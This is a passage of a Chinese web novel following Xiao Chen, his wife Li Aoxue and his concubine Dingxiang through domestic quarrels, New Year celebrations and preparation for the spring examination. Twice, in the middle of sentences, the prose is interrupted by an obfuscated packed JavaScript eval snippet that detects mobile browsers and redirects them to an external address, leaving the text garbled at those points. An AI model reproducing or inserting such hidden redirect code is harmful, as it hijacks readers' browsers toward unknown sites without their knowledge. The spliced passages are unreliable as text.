“傻姑娘,跟我说什么对不起。”肖晨松了口气,伸手轻轻拍了拍她的背,“该说对不起的是我,没保护好你,让你受了这般惊吓。” 玉溪见两人和解,脸上露出笑意,悄悄退到一旁:“那你们聊着,我去把早饭端来,姑娘怕是饿坏了。” 门帘落下,屋里只剩下他们两人。阳光透过窗纸照进来,暖融融的,驱散了不少寒意。丁香靠在肖晨肩上,眼泪无声地淌着,这一次,却是带着愧疚与安心。 只是他们都没留意,院墙外那个打探消息的小厮,正悄悄转身离去——这变故,怕是又要让王公子那边,多费些心思了。 玉溪端着食盒进来,刚掀开盖子,一股温热的香气就漫了开来——里面是一碗小米粥,配着几样清淡的小菜,还有一碟刚蒸好的桂花糕。 “知道姑娘没好好吃饭,特意让小厨房做了些暖胃的。”玉溪把碗筷摆好,笑着推到丁香面前。 肖晨伸手扶着丁香坐下,拿起勺子舀了一勺粥,吹了吹才递到她嘴边:“你定是饿坏了,快吃点,暖暖身子。” 丁香看着他眼底的关切,又想起刚才玉溪的话,心里又是愧疚又是酸涩,张了张嘴,却没咬住勺子。眼泪又不争气地涌了上来,啪嗒掉在桌布上,晕开一小片湿痕。 “怎么又哭了?”肖晨放下勺子,慌了手脚,“是不是还在生我的气?” “不是……”丁香摇着头,声音哽咽,“是我不好……我不该怀疑你……” “傻话。”肖晨拿帕子给她擦泪,语气温柔得能滴出水来,“换作是我,听见那些话也会难受。不怪你,是我没处理好。” 他拿起勺子,又舀了一勺粥:“先吃饭,吃饱了才有力气想事情。等你缓过来,咱们一起查,看看是谁在背后捣鬼。” 玉溪在一旁笑道:“就是,姑娘快吃吧。公子为了陪你,今早也没吃几口呢。” 丁香这才接过勺子,小口小口地喝着粥。小米粥熬得软糯,带着淡淡的米香,暖意顺着喉咙滑下去,一点点熨帖着冰凉的胃。 肖晨坐在旁边,也拿起筷子,却没怎么动,只看着她吃,见她肯进食,紧绷的眉眼渐渐舒展了些。 只是他们都知道,这平静之下,暗流仍在涌动。那个躲在暗处的人,绝不会轻易罢手。但此刻,看着眼前温热的饭菜,感受着身边人真切的暖意,丁香心里那根悬了许久的弦,终于慢慢松了下来。 至少这一次,她愿意选择相信。 丁香放下碗筷,碗里的粥已经见了底。肖晨拿过帕子递给她,看着她苍白的脸色好了些,才松了口气。 “别再胡思乱想了,好好歇着。”他替她理了理额前的碎发,语气带着几分不舍,“我得去书房温书了,春闱在即,耽误不得。” 丁香点点头,声音还有些哑:“嗯,公子去吧,别误了正事。” “若是闷得慌,就让玉溪陪你多说说话,或者去园子里走走也行。”肖晨又叮嘱道,“有什么事就让人去书房叫我,别自己扛着。” “知道了。”丁香抬眼看他,眸子里的冰霜渐渐消融,多了几分温顺。 肖晨这才放心,又跟玉溪交代了几句“好生照看”,才转身离开。走到门口时,他又回头看了一眼,见丁香正望着自己,便冲她笑了笑,那笑容里带着安抚与笃定。 门轻轻合上,隔绝了视线。丁香坐在桌前,手指无意识地摩挲着温热的碗沿,心里五味杂陈。刚才肖晨的笑,像一束光,驱散了不少阴霾,可那些被刻意忽略的疑虑,仍像细小的石子,硌在心头。 玉溪收拾着碗筷,见她发愣,便笑道:“姑娘这下该放心了吧?公子心里是真有你,不然哪会这般牵肠挂肚。” 丁香没说话,只是轻轻“嗯”了一声,目光落在窗外——那里阳光正好,可她总觉得,暗处的阴影,还没散去。 而书房里的肖晨,摊开书卷,目光却有些涣散。他心里记挂着丁香,更想着要尽快查出是谁在背后捣鬼。笔尖悬在纸上,迟迟未落,脑子里反复回放着丁香哭红的眼,还有那些“被自己说过”的伤人话语。 这一次,他绝不会再让她受委屈。 肖晨在书房坐立难安,索性叫来心腹阿成,压低声音吩咐:“你去查查,前日丁香姑娘出门后,究竟在城西巷子附近遇见过什么人,听到了什么动静。尤其是……有没有人冒充我在那里说过话。” 阿成领命而去,脚步轻快地出了肖府。他常年在外跑腿,消息灵通,本以为这是桩不难查的事,却没想从正午问到日暮,跑遍了城西巷子周围的茶馆、布庄,问遍了挑担子的小贩、守城门的兵卒,得到的答复却如出一辙——“没见着什么特别的人”“那天巷子口安安静静的,没听见吵架”。 有个卖糖画的老汉倒是含糊提了句,好像看见个穿青布衫的公子站在巷口说了几句话,但问起样貌,却只记得“跟肖公子有几分像”,再细问便摇着头说记不清了。 阿成心里纳罕,这巷子虽偏,却也不是无人经过,怎么会一点痕迹都没留下?他不甘心,又折回去蹲守到深夜,依旧一无所获。 其实他哪里知道,王公子早料到肖晨会追查,一早就让管家打点了周围的人家。那些可能见过或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135628|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听过些什么的,要么收了银子闭紧了嘴,要么被几句“王府的事少掺和”吓得不敢多言。就连那个卖糖画的老汉,也是收了好处,故意说些模棱两可的话,搅乱视听。 阿成垂头丧气地回到肖府,对着肖晨拱手道:“公子,属下无能,实在查不到什么线索。” 肖晨握着书卷的手指猛地收紧,指节泛白。他早猜到对方会有所防备,却没想做得这么干净利落,连一点蛛丝马迹都没留下。 “知道了,你先下去吧。”肖晨挥了挥手,声音里透着压抑的烦躁。 阿成退下后,书房里只剩下烛火摇曳的光影。肖晨望着窗外沉沉的夜色,眉头紧锁——对方行事如此缜密,显然是早有预谋。这背后之人,到底是谁?又为何要处心积虑地挑拨他和丁香的关系? 他隐隐觉得,这双手,恐怕不止伸到了城西巷子。 肖晨在书房枯坐许久,烛火将他的影子拉得很长。阿成那边一无所获,他心里清楚,对方既敢动手,必然早有防备,再查下去恐怕也是徒劳。 他揉了揉发胀的太阳穴,目光落在案头堆叠的书卷上。春闱的日子越来越近,这是他多年寒窗的关键一役,也是他能在家族中站稳脚跟、真正护住丁香的底气。若因这些糟心事乱了心神,耽误了前程,才是真的得不偿失。 “罢了。”他低声自语,将那些纷乱的思绪暂且压下。至少,丁香已经选择相信他,这就够了。 他重新拿起笔,蘸了墨,目光落在《论语》的字句上。笔尖划过纸面,留下清晰的字迹,心也随着这一笔一划渐渐沉静下来。窗外的风声、远处的更漏声,都成了背景,只剩下书页翻动的轻响和笔尖摩擦的沙沙声。 只要过了这一关,只要他能得偿所愿,届时不管是谁在背后捣鬼,他都有足够的力量去应对。 夜色渐深,书房的烛火却亮了很久。那跳动的光,映着他专注的侧脸,也映着他心里那份沉甸甸的决心——为了自己,更为了那个愿意相信他的人,这场考试,他必须赢。 腊月初八刚过,肖府就飘起了第一缕松烟香——那是府里开始熏腊肉的信号。廊下挂起了晾晒的腊肠,厨房后院堆着成筐的冻梨与山楂,连扫洒的丫鬟们都哼着带喜气的调子,肖晨站在阶前,看着这满院鲜活的忙碌劲儿,忽然意识到,自己要在这个时代过第一个新年了。 “公子,老夫人让您去前院看看,对联的样式定了没。”管家匆匆来报,手里捧着几本红纸样册。 肖晨接过册子,指尖触到粗糙的红纸边缘,忽然觉得心头一暖。前世在现代过惯了简化的年,此刻看这府里上下为了年节奔忙——小厮们踩着梯子扫檐角的灰,婆子们围着绣绷赶制新的椅披,连素来严厉的母亲,也对着账房送来的年货单子露出几分柔和,这烟火气竟让他生出些踏实的归属感。 “丁香呢?”他忽然问。 “姑娘在跟着玉溪学剪窗花呢,说是要给您的书房添点喜气。”管家笑着答。 肖晨转身往偏院走,远远就听见里面传来细碎的笑语。推开门,见丁香正坐在窗下,手里捏着红纸,玉溪在一旁手把手教她折角。阳光落在她发间,映得那点新换的珠花亮晶晶的,她低头专注的样子,比窗外的腊梅还要暖几分。 “剪的什么?”他走过去,见桌上摊着几个歪歪扭扭的“福”字,还有几只像模像样的喜鹊。 丁香抬头,脸颊微红:“还……还没剪好呢。” “挺好的。”肖晨拿起一张,指尖抚过她剪出的毛边,“等贴起来,书房定是最热闹的。” 玉溪在旁打趣:“姑娘为了剪这个,手指头都被扎了好几下呢。” 丁香轻轻瞪了玉溪一眼,却被肖晨握住了手。他看着她指尖那点细小的红痕,心里软得像化了的糖:“别累着,实在不行,买现成的便是。” “那不一样。”丁香小声说,“这是我亲手做的。” 肖晨笑了。是啊,不一样。这亲手剪的窗花,府里熏的腊肉,家人围坐时的笑语,都是独属于这里的新年味道。他忽然生出个念头,要把这个年过得热热闹闹的——给下人们备足压岁钱,陪老夫人守岁到天明,再给丁香买支最鲜亮的步摇,让她也尝尝穿新衣、戴新饰的欢喜。 “走,”他拉起丁香,“前院在挑对联,你也去选选,喜欢哪副,咱们就贴哪副。” 丁香被他拉着往外走,手里还攥着没剪完的红纸,风里飘来厨房炸丸子的香气,混着远处隐约的爆竹声,她回头看了眼肖晨的侧脸,忽然觉得,这个新年,会是她这辈子最暖的一个冬天。 正厅里堆着刚送来的绸缎,李傲雪正帮着肖母分拣,要给府里人做新年的衣裳。她手指纤细,叠起锦缎时动作轻柔,可肖母看在眼里,却越发生气。 “你看看你这副样子!”肖母把手里的账本往桌上一摔,声音陡然拔高,“真是没用!连个男人都看不住,让那贱蹄子整日缠着晨儿,你倒好,还在这儿慢悠悠地叠布!” 李傲雪被吓了一跳,手里的绸缎滑落在地。她慌忙捡起来,低声道:“母亲息怒,丁香她……她身世可怜,少爷待她好些,也是应当的。” “可怜?这府里轮得到你可怜别人?”肖母冷笑一声,指着她的鼻子,“你是糊涂了还是木头?你才是明媒正娶的肖家少奶奶,是正妻!她丁香算什么东西?不过是个花船上赎来的妾,也配跟你争?” 她上前一步,语气更厉:“你就该日日守在晨儿身边,陪他读书,陪他说话,让他眼里心里只有你!可你呢?倒赶着把他往那贱蹄子跟前推,你安的什么心?” 李傲雪眼圈泛红,却还是轻声辩解:“少爷待我一直很好,从未亏待过我。丁香她……她孤苦无依,少爷多照看些,也是人之常情。我想着,让他们多相处些,或许……或许能更和睦些。” “和睦?”肖母气得发抖,“等那贱蹄子爬到你头上作威作福,你就知道什么叫后悔了!我告诉你李傲雪,你要是再这么不争气,这肖家少奶奶的位置,迟早要被别人抢了去!到时候,别说我没提醒你!” 说完,她狠狠瞪了李傲雪一眼,甩袖进了内室,留下李傲雪一个人站在堆着绸缎的厅里,指尖冰凉。窗外的阳光明明很好,她却觉得浑身发冷,手里那匹绣着金纹的红绸,重得像块石头。 肖晨刚从书房出来,路过正厅时,见李傲雪独自站在绸缎堆前发呆,手里还攥着半匹红绸,背影瞧着有些单薄。 他放轻脚步走过去,从身后轻轻环住她的腰,下巴抵在她发顶,声音带着笑意:“傲雪,发什么呆呢?” 李傲雪浑身一僵,回头见是他,才慢慢松了劲,眼眶还带着点红:“没……没什么。” “还说没什么,眼圈都红了。”肖晨捏了捏她的脸颊,语气轻快起来,“是不是在想新年穿什么衣裳?我看那匹孔雀蓝的料子不错,做件袄子给你,定好看。” 他又收紧手臂,下巴蹭了蹭她的发:“别愁眉苦脸的,这可是我们成婚以来第一个新年,得高高兴兴的才是。” 李傲雪靠在他怀里,闻着他身上淡淡的墨香,心里的委屈忽然涌了上来,却只是轻轻“嗯”了一声,没敢说母亲刚才的训斥。 “母亲呢?”肖晨左右看了看。 “母亲……母亲进内室歇着了。”李傲雪低声道。 肖晨没再多问,只是牵着她的手走到绸缎堆前:“来,咱们挑挑,给你做身新衣裳,再给丁香也选两匹,她上次说喜欢素雅些的花色。” 李傲雪听他提起丁香,手指微微收紧,却还是顺着他的话点头:“好,听你的。” 肖晨拿起那匹孔雀蓝的锦缎,在她身上比了比:“就这个,配你的肤色。”又转头看向另一堆,“丁香的话……那匹月白的不错,上面绣着细竹,她定喜欢。” 他一边说,一边兴致勃勃地挑选,浑然没察觉李傲雪垂下的眼帘里,藏着一丝说不清的涩意。窗外传来丫鬟们洒扫的笑语,新年的气息越来越浓,可她心里那点被母亲训斥出的疙瘩,却像被什么东西堵着,怎么也舒展不开。 肖晨选完料子,笑着捏了捏她的手:“等过了年,我带你和丁香去逛庙会,听说今年灯盏比往年热闹。” 李傲雪勉强笑了笑:“好。” 他只当她是累了,没再多想,转身去内室找母亲说话。李傲雪看着他的背影,又低头看了看手里那匹红绸,忽然觉得,这满室的喜庆,竟有几分照不进心里。 63.差点说漏嘴了,迎来考试 肖晨掀帘进内室时,肖母正歪在榻上喝茶,见他进来,眼皮都没抬一下,语气带着惯有的冷硬:“那贱蹄子呢?又缠着你不放?” “母亲,丁香去后厨帮着准备年节的吃食了,府里上下都在忙,她也想搭把手。”肖晨在榻边坐下,尽量让语气平和些。 “搭把手?我看她是借机在府里晃悠,好勾着你多看她几眼!”肖母把茶盏往小几上一搁,瓷碗碰撞发出清脆的响,“真是个勾人的货,进府没多久,就把你迷得魂不守舍,连正妻都忘了!” “母亲,您这话说得太重了。”肖晨皱起眉,“丁香不是那样的人,她性子温顺,从没争过什么。这都要过年了,大家高高兴兴的不好吗?别总说这些气话。” “我气话?”肖母猛地坐直身子,瞪着他,“我这是为你好!为肖家好!一个花船出来的女子,哪配进咱们家的门?若不是看在你要死要活的份上,我早把她打发走了!傲雪才是你的正妻,你该多疼疼她,别总围着那贱蹄子转!” “傲雪我自然疼,可丁香也是家里人。”肖晨耐着性子解释,“这新年里,就别分那么清了。大家和和气气的,比什么都强。” “和气?我跟她有什么好气的!”肖母冷哼一声,别过脸去,“我告诉你肖晨,你要是再拎不清,这个年谁也别想好过!” 肖晨看着母亲固执的侧脸,知道再说下去也是争执,只能叹了口气:“好了母亲,不说这个了。您看这料子,是傲雪刚挑的,给您做件新棉袄,您看看喜不喜欢。” 他拿起一旁的湖蓝色绸缎递过去,试图转移话题。肖母瞥了一眼,没接,却也没再继续骂下去。 肖晨见母亲脸色稍缓,又往前凑了凑,声音放软了些:“母亲,丁香性子纯良,平日里待您也是恭顺的。您就当府里多了个尽心孝敬您的人,又有何不可?” 他拿起茶盏给母亲续了些热水,继续道:“您看,府里上下琐事多,有她搭把手,我和傲雪也能轻快些。多个人伺候着,您不也更舒心吗?” 肖母端起茶盏抿了一口,没作声,显然是听进去了几分。 肖晨趁机又补了句,语气里带着几分期盼:“再说了,日子还长着呢。她若是能安稳留下,往后生儿育女,您不也能多几个孙子孙女绕膝?这可是天大的福气啊。” 这话像是戳中了肖母的心。她眉头微动,指尖在茶盏沿上摩挲着——哪个当长辈的不盼着儿孙满堂?肖晨成婚许久,傲雪的肚子还没动静,若是这丁香真能为肖家添丁,倒也不是不能容忍。 见母亲神色松动,肖晨忙趁热打铁:“您看这新年里,她跟着玉溪学做您爱吃的枣泥糕呢,说要给您当新年的点心。一片心意,您就领了吧。” 肖母沉默了半晌,才从鼻子里哼出一声:“哼,但愿她不是装出来的。” 虽依旧带着刺,却没了先前的厉色。肖晨知道,母亲这是松口了。他心里松了口气,笑着应道:“您放心,她不是那起子心口不一的人。过几日您尝尝她做的糕,就知道了。” 肖母瞥了他一眼,语气缓和了些:“那你也记着,别亏了傲雪。她才嫁进府半年,知书达理又懂事,你可得好好待她,别让她受了委屈。” “母亲放心,我自然会好好疼她的。”肖晨应得恳切。傲雪的温婉他一直记在心里,只是近来被丁香的事分了神,确实该多顾着些她。 说罢,他便起身退了出去。刚走到廊下,就见李傲雪正指挥着丫鬟们往库房搬新到的干果,额角沁着层薄汗,却仍笑意盈盈地清点数目。 肖晨走上前,轻轻拉过她的手:“傲雪,别忙了,先歇会儿。” 李傲雪回头,见是他,忙抽回手擦了擦汗:“没事的,这点活不累。库房得赶紧归置好,不然过几日拜年的客人来了,乱糟糟的不像样子。” “有下人呢,不用你亲力亲为。”肖晨不由分说地牵着她往旁边的暖阁走,“来,陪我说说话。” 暖阁里烧着炭,暖意融融。他让她坐下,又倒了杯热茶递过去:“刚才母亲还念叨你呢,说你懂事,让我多疼你些。” 李傲雪捧着茶杯,指尖传来温热,心里微微一动:“母亲……她真这么说?” “自然是真的。”肖晨在她身边坐下,看着她微红的脸颊,“以前是我疏忽了,总让你跟着操劳。这新年里,什么都别管了,就安心歇着,想做什么,我陪你。” 李傲雪抿了口茶,眼底泛起些水光,却笑着摇了摇头:“我不累的。只要少爷心里有我,我就知足了。” 肖晨见她这样,心里越发过意不去,伸手轻轻握住她的手:“傻姑娘,你是我的妻,我心里自然有你。等过了年,我带你去城外的走走” 李傲雪抬头望他,眼里的笑意像漾开的春水:“好啊。” 肖晨牵着李傲雪的手走进房里,反手掩上门,将外面的喧闹都隔在了门外。房里燃着安神的熏香,墙角的铜炉里炭火正旺,映得她脸颊暖融融的。 他转过身,双手扶着她的肩,目光温和得像化了的春水:“傲雪,有你在家里,真好。” 李傲雪抬头望他,眼里闪着细碎的光。 “这是我来到这里,跟你一起过的第一个新年。”他指尖轻轻拂过她鬓边的碎发,语气里带着几分感慨,“以前总觉得日子过得快,可这半年,有你在身边,倒觉得每一天都踏实。” 李傲雪的脸颊泛起红晕,垂下眼帘,声音轻得像羽毛:“少爷,我也是一样。” 她抬起头,眸子里盛着满满的恳切:“自嫁进肖家,能陪在少爷身边,看着府里一天天热闹起来,我就觉得心满意足了。只要……只要少爷能一直这样陪着我,我就什么都不怕。” 肖晨心里一软,伸手将她拥进怀里。她的身子很轻,带着淡淡的脂粉香,靠在他胸前,像只温顺的小兽。 “会的。”他低声说,下巴抵着她的发顶,“我会一直陪着你。” 窗外的风卷着雪粒子打在窗纸上,发出簌簌的轻响,可房里却暖得很。李傲雪把脸埋在他衣襟里,听着他沉稳的心跳,眼眶微微发热。嫁过来这些日子,她听过太多闲言碎语,受过太多委屈,可这一刻,他怀里的温度,他说的话,都让她觉得,一切都值了。 “新年的时候,我们一起守岁,好不好?”她闷闷地问。 “好。”肖晨笑了,“还要一起吃饺子,一起听爆竹声。” 他轻轻推开她一点,看着她泛红的眼角,伸手替她拭了拭:“别胡思乱想,往后的日子还长着呢。” 李傲雪点点头,嘴角弯起浅浅的笑意,像枝头悄悄绽开的梅。 守岁那晚,肖府上下张灯结彩,红绸从门廊一直垂到后院,廊下的宫灯映得满院亮堂堂的。肖晨陪着母亲、李傲雪和丁香围坐在暖阁的圆桌旁,桌上摆着蜜饯、干果和刚出锅的饺子,蒸腾的热气模糊了彼此的眉眼。 肖母难得没再摆脸色,捏着个蜜枣慢慢嚼着,眼角余光瞥见丁香正给李傲雪递醋碟,两人指尖碰在一起时,丁香还腼腆地笑了笑。她心里哼了一声,却没说什么。 “吃个饺子,里面有铜钱的。”肖晨用公筷夹了个胖乎乎的饺子放进李傲雪碗里,又给丁香夹了一个,“谁吃到了,来年准能顺顺当当的。” 李傲雪咬了一口,忽然“哎哟”一声,从嘴里吐出枚锃亮的铜钱,脸上瞬间绽开惊喜的笑:“我吃到了!” 肖晨笑着揉了揉她的头发:“看来傲雪来年要走大运了。” 丁香看着她碗里的铜钱,眼里也漾着笑意,低头咬了口自己碗里的饺子,牙齿忽然碰到个硬东西——竟是也吃出了枚铜钱。她愣了愣,抬头时正撞上肖晨温和的目光,脸颊一下子红了。 “看来丁香也有好运呢。”李傲雪笑着说,语气里没半分芥蒂。 肖母瞥了眼两人碗里的铜钱,端起茶杯抿了口,嘴角却悄悄勾起个几不可见的弧度。 更漏敲过十二下时,外面忽然响起噼里啪啦的爆竹声,火光映亮了夜空。肖晨拉着李傲雪和丁香跑到院里,看小厮们点燃成串的鞭炮,听那震耳欲聋的声响里混着众人的欢笑声。 丁香被鞭炮声吓得往旁边躲了躲,恰好撞进肖晨怀里。他伸手扶住她,低头时,见她眼里映着漫天火光,亮得像落了星子。李傲雪站在一旁,看着他们相视而笑的模样,自己也跟着笑起来,手里攥着那枚铜钱,暖得发烫。 初一清晨,拜年的脚步声在府里响起。丁香给肖母磕了头,递上亲手绣的荷包,里面装着她熬夜做的安神香。肖母捏着荷包看了看,竟破天荒地说了句:“手艺还行。” 丁香惊喜地抬起头,眼眶都亮了。 李傲雪给肖母敬了茶,肖母接过茶盏,看着她温婉的样子,放缓了语气:“新的一年,好好照看府里,也……好好照看晨儿。” 李傲雪红了眼眶,重重地点了点头。 肖晨站在一旁看着,心里像被什么东西填满了,暖融融的。他忽然觉得,或许日子就是这样,有磕绊,有摩擦,却总会在某个瞬间,被这些细碎的暖意悄悄熨帖好。 大年初二的清晨,肖父坐在正厅的太师椅上,看着肖晨进来请安,放下手里的茶盏开口道:“按规矩,族里的长辈们今日该去拜会。那些虚礼你素来不喜欢,我知道你心思都在备考上。” 他顿了顿,目光落在肖晨案头那摞高高的书卷上,语气带着几分体谅:“我已经让人备好了礼,等会儿我亲自过去就行。你留在府里安心读书,不用跟着应酬。” 肖晨愣了愣,随即拱手道:“父亲,这样会不会太不妥?族里叔伯们怕是会说闲话。” “有什么不妥的?”肖父摆了摆手,“你是肖家的希望,春闱才是眼下最要紧的事。他们要嚼舌根,就让他们嚼去,我还压得住。” 他看着儿子,眼里带着期许:“你只管把书读好,等你金榜题名那天,比什么拜年应酬都强。到时候,整个家族都得高看你一眼。” 肖晨心里一暖,躬身道:“多谢父亲体谅。” “自家父子,说这些见外了。”肖父笑了笑,起身整理了一下衣襟,“我走了,你抓紧时间温书,别懈怠。” 看着父亲带着管家出门的背影,肖晨心里五味杂陈。他知道父亲看似严厉,实则一直护着他这份不愿周旋的性子。转身回书房的路上,他脚步都轻快了些——窗外的阳光正好,书卷的墨香混着院里的梅香飘进来,确实是安心读书的好时候。 只是他没留意,廊下的李傲雪听见了父子俩的对话,悄悄松了口气。她本还在发愁该怎么帮他应付那些三姑六婆的盘问,如今倒省心了。转身往厨房去时,她特意让厨子炖了锅参汤,想着等他读累了,正好能补补精神。 肖晨回到书房,刚坐下翻了两页书,就听见窗外传来细碎的脚步声。抬头一看,李傲雪正端着个食盒站在廊下,见他望过来,便笑着往里走。 “刚让小厨房炖了参汤,少爷趁热喝。”她把汤碗放在案头,揭开盖子,温润的香气便漫了开来,“父亲的话我听见了,这样也好,省得你去应付那些场面话,安安心心读书才是正经。” 肖晨接过汤碗,暖意从指尖一直传到心里:“还是你想得周到。” “哪有。”李傲雪帮他理了理摊开的书卷,“我就是想着,你备考辛苦,得多补补。对了,我让玉溪把炭火再加旺些,书房别太凉了。” 正说着,丁香也端着盘刚出炉的杏仁酥进来,见李傲雪在,便把盘子往桌上一放,有些不好意思地说:“看公子读书费神,做了点小零嘴,公子要是饿了就垫垫。” 那杏仁酥做得小巧精致,上面还撒着层细细的白糖,看着就让人有食欲。肖晨拿起一块放进嘴里,甜香混着杏仁的脆,口感正好。 “味道不错。”他笑着点头,“你们俩倒是默契。” 丁香脸颊微红,李傲雪则笑道:“她手巧,做这些小点心最拿手。” 两人没多留,怕打扰他读书,轻手轻脚地退了出去。肖晨看着她们相携离去的背影,心里一片安宁。窗外的阳光透过窗棂,在书页上投下斑驳的光影,参汤的暖意还在喉咙里,杏仁酥的甜香留在舌尖,连带着那些枯燥的经文,似乎都生动了几分。 他定了定神,重新拿起笔,在批注本上写下心得。笔尖划过纸面的沙沙声,与窗外偶尔传来的笑语、远处隐约的鞭炮声交织在一起,竟格外和谐。 而另一边,肖父带着管家在族里挨家拜年。遇到长辈询问肖晨为何没来,他便笑着解释:“那小子一心扑在书本上,说什么也不肯挪窝,我想着春闱要紧,就随他去了。” 族里的老人大多知道肖晨是个读书的好苗子,闻言都道:“这才对,年轻人就该有这份劲头,比跟着咱们这些老头子凑趣强。” 也有那爱嚼舌根的妇人嘀咕:“怕是被府里那两个姑娘绊住了脚吧?” 肖父听见了,也不恼,只淡淡道:“他要是连这点定力都没有,往后也成不了事。我肖家的儿子,还没那么没出息。” 一句话堵得对方哑口无言。 等肖父拜完年回到府里,已是傍晚。他路过书房,见里面还亮着灯,窗纸上映着肖晨伏案的身影,便没进去打扰,只对守在外面的小厮吩咐:“让厨房留着晚饭,等公子忙完了再热给他。” 夜色渐深,肖晨终于放下笔,揉了揉发酸的脖颈。窗外的月光洒进来,照亮了案头那碗已经凉透的参汤,和旁边剩下的半盘杏仁酥。他拿起一块杏仁酥放进嘴里,甜香依旧,心里忽然涌上一股踏实的暖意。 肖晨伸了个懒腰,脑子里忽然闪过现代和闺蜜打游戏的场景,嘴角不自觉地扬起,随口就说了句:“要是把子涵带过来就好了,她在的话,还能陪我一起玩,哪怕是去郊外打野都行。” 话音刚落,他才意识到失言,抬头时正撞见李傲雪和丁香的脸色。 李傲雪端着空汤碗的手微微收紧,指尖泛白。子涵这个名字,她听肖晨提过好几次,每次说起时,他眼里都带着一种她从未见过的鲜活。她一直没敢问那是谁,只当是故友,可“一起玩”“打野”这些字眼,听着就透着旁人插不进的亲昵,心口像是被什么东西堵住了,闷得发慌。 丁香是头一回听见这个名字,她不懂“打野”是什么意思,却能听出肖晨语气里的怀念。原来在他心里,还有这样一个能让他惦记着“一起玩”的女子。她捏着衣角,垂下眼帘,长长的睫毛遮住了眼底的失落——她本以为,自己和李傲雪,已经是离他最近的人了。 书房里的气氛一下子僵住了。烛火跳动着,映得两人的神色越发沉郁。 肖晨这才回过神,懊恼地拍了下额头:“瞧我,说顺嘴了。子涵是我……以前认识的一个朋友,性子大大咧咧的,就像个假小子。”他想解释得清楚些,却又不知从何说起,总不能告诉她们那是现代的闺蜜。 李傲雪勉强笑了笑,声音有些发飘:“原来是这样,看公子说得高兴,想必是很要好的朋友吧。” “是挺要好的。”肖晨点点头,见两人脸色还是没缓过来,赶紧岔开话题,“不说这个了,你们刚才在忙什么?” 丁香小声道:“在……在剪剩下的窗花,想着给书房再添几扇。” 李傲雪也跟着点头:“我让丫鬟把炭火又加了些,书房别太凉了。” 两人说着话,却都没了刚才的轻松。肖晨看着她们强装无事的样子,心里暗暗叹气——有些属于过去的印记,终究是藏不住的。他拿起桌上的杏仁酥,往两人手里各塞了一块:“尝尝,凉了些,不过味道还在。等过了这阵子,我带你们去城外走走,就当散心了。” 李傲雪捏着那块杏仁酥,甜意没渗进心里,倒觉得舌尖有些发涩。丁香咬了一小口,目光落在肖晨脸上,忽然很想知道,那个叫子涵的女子,在他心里,到底占着怎样的位置。 肖晨见两人神色依旧郁郁,放下手里的书卷,认真地看向她们:“你们别多想,子涵真的就是我的一个好朋友,跟兄弟姐妹似的,我跟她可从来没什么逾矩的亲近。” 他伸手轻轻拍了拍李傲雪的手背,又看向丁香:“我知道你们心里犯嘀咕,但真不是你们想的那样。再说了,就算她真能来这儿,也插不进我们现在的日子啊。” 他笑了笑,语气里带着笃定:“有你们两个在身边陪着,我就觉得够了。傲雪细心,把家里打理得妥妥帖帖;丁香贴心,总能想着给我添些小物件。这样的日子,我已经很满足了。” 李傲雪听着他的话,捏着杏仁酥的手指慢慢松开。他眼里的坦诚不似作假,那句“够了”像颗小石子,在她心里漾开圈暖意。她抬起头,望进他眼里,轻声道:“我信少爷。” 丁香也悄悄抬起头,见肖晨正看着自己,眼神温和,心里的失落渐渐散了些。她小声说:“公子说的是真的就好。” “自然是真的。”肖晨拿起一块温热的糕点递给丁香,又给李傲雪剥了颗蜜饯,“往后我少提她便是,省得你们瞎琢磨。眼下啊,就盼着春闱顺顺利利,等我考完了,咱们一起去逛庙会,去看花灯,好不好?” 李傲雪嘴角终于扬起点笑意:“好啊,听说今年上元节的灯盏比往年热闹。” 丁香也跟着点头,眼里的光又亮了些:“我还想去尝尝东街的糖画,上次看那个老汉做的龙,可威风了。” “都依你们。”肖晨笑着应下,见两人神色舒展了,心里也松了口气。 烛火映着三人的身影,刚才那点微妙的隔阂像是被暖风吹散了。李傲雪起身收拾汤碗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136791|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚步轻快了些;丁香重新拿起剪刀,开始琢磨剩下的窗花该剪些什么花样。 肖晨看着她们忙碌的样子,拿起书卷,鼻尖萦绕着淡淡的墨香和糕点的甜香,忽然觉得,这样的时光,确实比什么都珍贵。有些过去的人和事,放在心里怀念就好,眼前的温暖,才更该握紧。 惊蛰过后,京城的胡同里渐渐多了些背着书箧的身影。来自各地的举子们陆续抵达,客栈、会馆都住得满满当当,连带着周边的商铺也热闹起来。 肖晨这天从书院回来,路过自家开的那家“迎客栈”,见门口挂着“客满”的木牌,几个举子正站在阶下发愁,其中一个穿洗得发白长衫的年轻人,手里攥着几枚铜板,反复询问掌柜能不能通融个角落。 他停住脚步,叫住正要转身的掌柜:“张掌柜,过来一下。” 张掌柜见是东家,忙拱手行礼:“公子有何吩咐?” “最近住店的举子多,咱们客栈的价钱,没涨吧?”肖晨问。 “回公子,按您之前的吩咐,一直维持着原价呢。”张掌柜答,“就是客房实在紧俏,这几位公子来晚了一步。” 肖晨看向那几个举子,想起自己当年赶考的窘迫,心里动了恻隐:“后院那几间堆放杂物的耳房,收拾出来能住人吗?铺盖简单些也无妨,收半价就行。” 那几个举子眼睛一亮,忙作揖道谢:“多谢公子体谅!多谢公子!” 